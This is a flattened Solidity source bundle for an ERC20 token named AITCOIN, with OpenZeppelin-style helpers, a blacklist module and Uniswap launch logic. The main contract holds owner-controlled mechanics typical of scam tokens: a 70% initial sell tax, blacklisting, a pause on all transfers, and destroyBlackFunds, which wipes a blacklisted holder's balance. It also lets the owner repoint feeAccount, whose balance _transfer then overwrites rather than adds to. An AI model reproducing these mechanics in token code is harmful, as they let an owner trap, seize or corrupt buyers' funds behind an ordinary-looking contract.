// File: AitCoin.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";
import "./Pausable.sol";
import "./Ownable.sol";
import "./BlackList.sol";
import "./SafeMath.sol";
import "./IUNISWAP.sol";

contract AitCoin is Context, IERC20, IERC20Metadata, Pausable, Ownable, BlackList {

    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    bool public transferDelayEnabled = true;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 70;
    uint256 public finalBuyTax = 0;
    uint256 public finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 69;
    uint256 private _reduceSellTaxAt = 420;
    uint256 private _preventSwapBefore = 30;
    uint256 private _buyCount = 0;

    string private constant _name = "AITCOIN";
    string private constant _symbol = "AITCOIN";
    uint8 private constant _decimals = 8;
    uint256 private _totalSupply = 1000000000 * 10 ** _decimals;
    
    
    address public feeAccount;

    bool private _tradingOpen;
    // 0.02
    uint256 public maxWalletSize = _totalSupply * 2 / 100;
    uint256 public maxTxAmount = _totalSupply * 2 / 100;
    // 0.005
    uint256 private _taxSwapThreshold = _totalSupply * 5 / 1000;
    uint256 private _maxTaxSwap = _totalSupply * 5 / 1000;
    bool private _inSwap = false;
    bool private _swapEnabled = false;

    IUniswapV2Router02 private _uniswapV2Router;
    address private _uniswapV2Pair;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferFee(uint256 _fee);
    modifier lockTheSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor() {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        feeAccount = address(this);

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

     function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "ERC20: transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        uint256 realAmount = amount;

        if (from != owner() && to != owner()) {
            if (transferDelayEnabled) {
                if (to != address(_uniswapV2Router) && to != address(_uniswapV2Pair)) {
                    require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed.");
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && !_isExcludedFromFee[to] ) {
                require(_tradingOpen, "not open pls wait");
                require(amount <= maxTxAmount, "Exceeds the maxTxAmount.");
                require(balanceOf(to) + amount <= maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? finalBuyTax : _initialBuyTax).div(100);
            if (to == _uniswapV2Pair && from != address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt) ? finalSellTax : _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inSwap && to == _uniswapV2Pair && _swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                _swapTokensForEth(_min(amount, _min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    _sendETHToFee(address(this).balance);
                }
            }
        }

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");

        if(taxAmount > 0){
            _balances[feeAccount] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));

        _afterTokenTransfer(from, to, realAmount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    // function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    // new
    // function _beforeTokenTransfer(address from, address to, uint256 amount)
    //     internal
    //     whenNotPaused
    //     whenIsNotBlack(from, to)
    //     override
    // {
    //     super._beforeTokenTransfer(from, to, amount);
    // }
    // new 
    function _beforeTokenTransfer(address from, address to, uint256 amount)
        internal
        whenNotPaused
        whenIsNotBlack(from, to)
    {
        
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    // new
    
    function pause() public onlyOwner {
        _pause();
    }

    function unpause() public onlyOwner {
        _unpause();
    }

    function burn(uint256 amount) public virtual {
        _burn(_msgSender(), amount);
    }

    function burnFrom(address account, uint256 amount) public virtual {
        _spendAllowance(account, _msgSender(), amount);
        _burn(account, amount);
    }

    function destroyBlackFunds (address _blackListedUser) public onlyOwner {
        _requireIsBlack(_blackListedUser);
        uint dirtyFunds = balanceOf(_blackListedUser);
        _balances[_blackListedUser] = 0;
        _totalSupply -= dirtyFunds;
        emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
    }

    function renewFeeAccount(address _account) public onlyOwner {
        feeAccount = _account;
    }

    function gottagofast() external onlyOwner() {
        require(!_tradingOpen,"trading is already open");
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniswapV2Router), _totalSupply);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
        _swapEnabled = true;
        _tradingOpen = true;
    }

    function _min(uint256 a, uint256 b) private pure returns (uint256){
        return (a > b) ? b : a;
    }

    function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if (tokenAmount == 0) {return;}
        if (!_tradingOpen) {return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        maxTxAmount = _totalSupply;
        maxWalletSize = _totalSupply;
        transferDelayEnabled = false;
        _reduceSellTaxAt = 20;
        _reduceBuyTaxAt = 20;
        emit MaxTxAmountUpdated(_totalSupply);
    }

    function _sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0){
            _swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance > 0){
            _sendETHToFee(ethBalance);
        }
    }

    function get_uniswapV2Pair() public view onlyOwner returns (address pair) {
        return _uniswapV2Pair;
    }

    function get_uniswapV2Router() public view onlyOwner returns (IUniswapV2Router02) {
        return _uniswapV2Router;
    }

    function get_buyCount() public view onlyOwner returns (uint256) {
        return _buyCount;
    }
}
// File: BlackList.sol



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import "./Ownable.sol";

contract BlackList is Ownable{

    mapping (address => bool) private isBlackListed;

    event AddedBlackList(address _user);
    event RemovedBlackList(address _user);
    event DestroyedBlackFunds(address _blackListedUser, uint _balance);

    function getBlackListStatus(address _maker) external view returns (bool) {
        return isBlackListed[_maker];
    }

    function addBlackList (address _evilUser) public onlyOwner {
        isBlackListed[_evilUser] = true;
        emit AddedBlackList(_evilUser);
    }

    function removeBlackList (address _clearedUser) public onlyOwner {
        isBlackListed[_clearedUser] = false;
        emit RemovedBlackList(_clearedUser);
    }

    modifier whenIsNotBlack(address _from, address _to) {
        _requireIsNotBlack(_from);
        _requireIsNotBlack(_to);
        _;
    }

    function _requireIsNotBlack(address _account) internal view virtual {
        require(!isBlackListed[_account], "Black: someone is in BlackList");
    }

    function _requireIsBlack(address _account) internal view virtual {
        require(isBlackListed[_account], "Black: someone is not in BlackList");
    }

    function _checkIsBlack(address _account) internal virtual {}

    // function destroyBlackFunds (address _blackListedUser) public onlyOwner {
    //     require(isBlackListed[_blackListedUser]);
    //     uint dirtyFunds = balanceOf(_blackListedUser);
    //     _balances[_blackListedUser] = 0;
    //     _totalSupply -= dirtyFunds;
    //     DestroyedBlackFunds(_blackListedUser, dirtyFunds);
    // }
}
// File: Context.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
// File: IERC20.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
// File: IERC20Metadata.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
// File: IUNISWAP.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

// File: Ownable.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
// File: Pausable.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)

pragma solidity ^0.8.0;

import "./Context.sol";

/**
 * @dev Contract module which allows children to implement an emergency stop
 * mechanism that can be triggered by an authorized account.
 *
 * This module is used through inheritance. It will make available the
 * modifiers `whenNotPaused` and `whenPaused`, which can be applied to
 * the functions of your contract. Note that they will not be pausable by
 * simply including this module, only once the modifiers are put in place.
 */
abstract contract Pausable is Context {
    /**
     * @dev Emitted when the pause is triggered by `account`.
     */
    event Paused(address account);

    /**
     * @dev Emitted when the pause is lifted by `account`.
     */
    event Unpaused(address account);

    bool private _paused;

    /**
     * @dev Initializes the contract in unpaused state.
     */
    constructor() {
        _paused = false;
    }

    /**
     * @dev Modifier to make a function callable only when the contract is not paused.
     *
     * Requirements:
     *
     * - The contract must not be paused.
     */
    modifier whenNotPaused() {
        _requireNotPaused();
        _;
    }

    /**
     * @dev Modifier to make a function callable only when the contract is paused.
     *
     * Requirements:
     *
     * - The contract must be paused.
     */
    modifier whenPaused() {
        _requirePaused();
        _;
    }

    /**
     * @dev Returns true if the contract is paused, and false otherwise.
     */
    function paused() public view virtual returns (bool) {
        return _paused;
    }

    /**
     * @dev Throws if the contract is paused.
     */
    function _requireNotPaused() internal view virtual {
        require(!paused(), "Pausable: paused");
    }

    /**
     * @dev Throws if the contract is not paused.
     */
    function _requirePaused() internal view virtual {
        require(paused(), "Pausable: not paused");
    }

    /**
     * @dev Triggers stopped state.
     *
     * Requirements:
     *
     * - The contract must not be paused.
     */
    function _pause() internal virtual whenNotPaused {
        _paused = true;
        emit Paused(_msgSender());
    }

    /**
     * @dev Returns to normal state.
     *
     * Requirements:
     *
     * - The contract must be paused.
     */
    function _unpause() internal virtual whenPaused {
        _paused = false;
        emit Unpaused(_msgSender());
    }
}
// File: SafeMath.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}